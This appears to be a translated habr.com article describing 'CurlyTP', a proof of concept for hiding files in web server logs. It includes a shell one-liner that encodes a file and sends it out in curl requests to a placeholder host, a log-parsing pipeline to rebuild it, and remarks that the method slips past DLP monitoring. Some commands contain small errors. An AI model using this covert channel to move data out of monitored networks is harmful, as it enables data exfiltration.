Razmjena tajnih poruka putem serverskih logova

Prema definiciji Wikipedije, mrtva kap je alat za zavjeru koji služi za razmjenu informacija ili nekih stavki između ljudi koji koriste tajnu lokaciju. Ideja je da se ljudi nikada ne sretnu – ali i dalje razmjenjuju informacije kako bi održali operativnu sigurnost.

Skrivanje ne bi trebalo da privlači pažnju. Stoga, u offline svijetu često koriste diskretne stvari: labavu ciglu u zidu, bibliotečku knjigu ili šupljinu u drvetu.

Na internetu postoji mnogo alata za šifriranje i anonimizaciju, ali sama činjenica korištenja ovih alata privlači pažnju. Osim toga, mogu biti blokirani na korporativnom ili državnom nivou. sta da radim?

Programer Ryan Flowers predložio je zanimljivu opciju - koristiti bilo koji web server kao skrovište. Ako razmislite o tome, šta radi web server? Prima zahtjeve, izdaje datoteke i piše dnevnike. I evidentira sve zahtjeve, čak i one netačne!

Ispostavilo se da vam bilo koji web server omogućava spremanje gotovo svake poruke u dnevnik. Flowers se pitala kako to iskoristiti.

On nudi ovu opciju:

  1. Uzmite tekstualnu datoteku (tajna poruka) i izračunajte hash (md5sum).
  2. Kodiramo ga (gzip+uuencode).
  3. Pišemo u dnevnik koristeći namjerno netačan zahtjev serveru.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Da biste pročitali datoteku, trebate izvršiti ove operacije obrnutim redoslijedom: dekodirajte i raspakirajte datoteku, provjerite hash (heš se može sigurno prenijeti preko otvorenih kanala).

Razmaci se zamjenjuju sa =+=tako da u adresi nema razmaka. Program, koji autor naziva CurlyTP, koristi base64 kodiranje, poput priloga e-pošte. Zahtjev je napravljen sa ključnom riječi ?transfer?tako da ga primalac može lako pronaći u evidenciji.

Šta vidimo u evidenciji u ovom slučaju?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Kao što je već spomenuto, da biste primili tajnu poruku, morate izvršiti operacije obrnutim redoslijedom:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Proces je lako automatizirati. Md5sum se podudara, a sadržaj datoteke potvrđuje da je sve ispravno dekodirano.

Metoda je vrlo jednostavna. “Svrha ove vježbe je samo da dokaže da se fajlovi mogu prenijeti putem nevinih malih web zahtjeva, a radi na bilo kojem web serveru s dnevnim zapisima običnog teksta. U suštini, svaki web server je skrovište!”, piše Flowers.

Naravno, metoda radi samo ako primalac ima pristup evidencijama servera. Ali takav pristup pružaju, na primjer, mnogi hosteri.

Kako ga koristiti?

Ryan Flowers kaže da nije stručnjak za sigurnost informacija i da neće sastaviti listu mogućih upotreba CurlyTP-a. Za njega je to samo dokaz koncepta da se poznati alati koje svakodnevno viđamo mogu koristiti na nekonvencionalan način.

Zapravo, ova metoda ima niz prednosti u odnosu na druge serverske „skrivanja“ poput Digital Dead Drop ili PirateBox: ne zahtijeva posebnu konfiguraciju na strani servera niti bilo kakve posebne protokole - i neće izazvati sumnju kod onih koji prate promet. Malo je vjerovatno da će SORM ili DLP sistem skenirati URL-ove za komprimirane tekstualne datoteke.

Ovo je jedan od načina za prijenos poruka putem servisnih datoteka. Možete se sjetiti kako su se plasirale neke napredne kompanije Poslovi programera u HTTP zaglavljima ili u kodu HTML stranica.

Razmjena tajnih poruka putem serverskih logova

Ideja je bila da samo web programeri vide ovo uskršnje jaje, pošto normalna osoba ne bi gledala zaglavlja ili HTML kod.

Razmjena tajnih poruka putem serverskih logova

izvor: www.habr.com

Dodajte komentar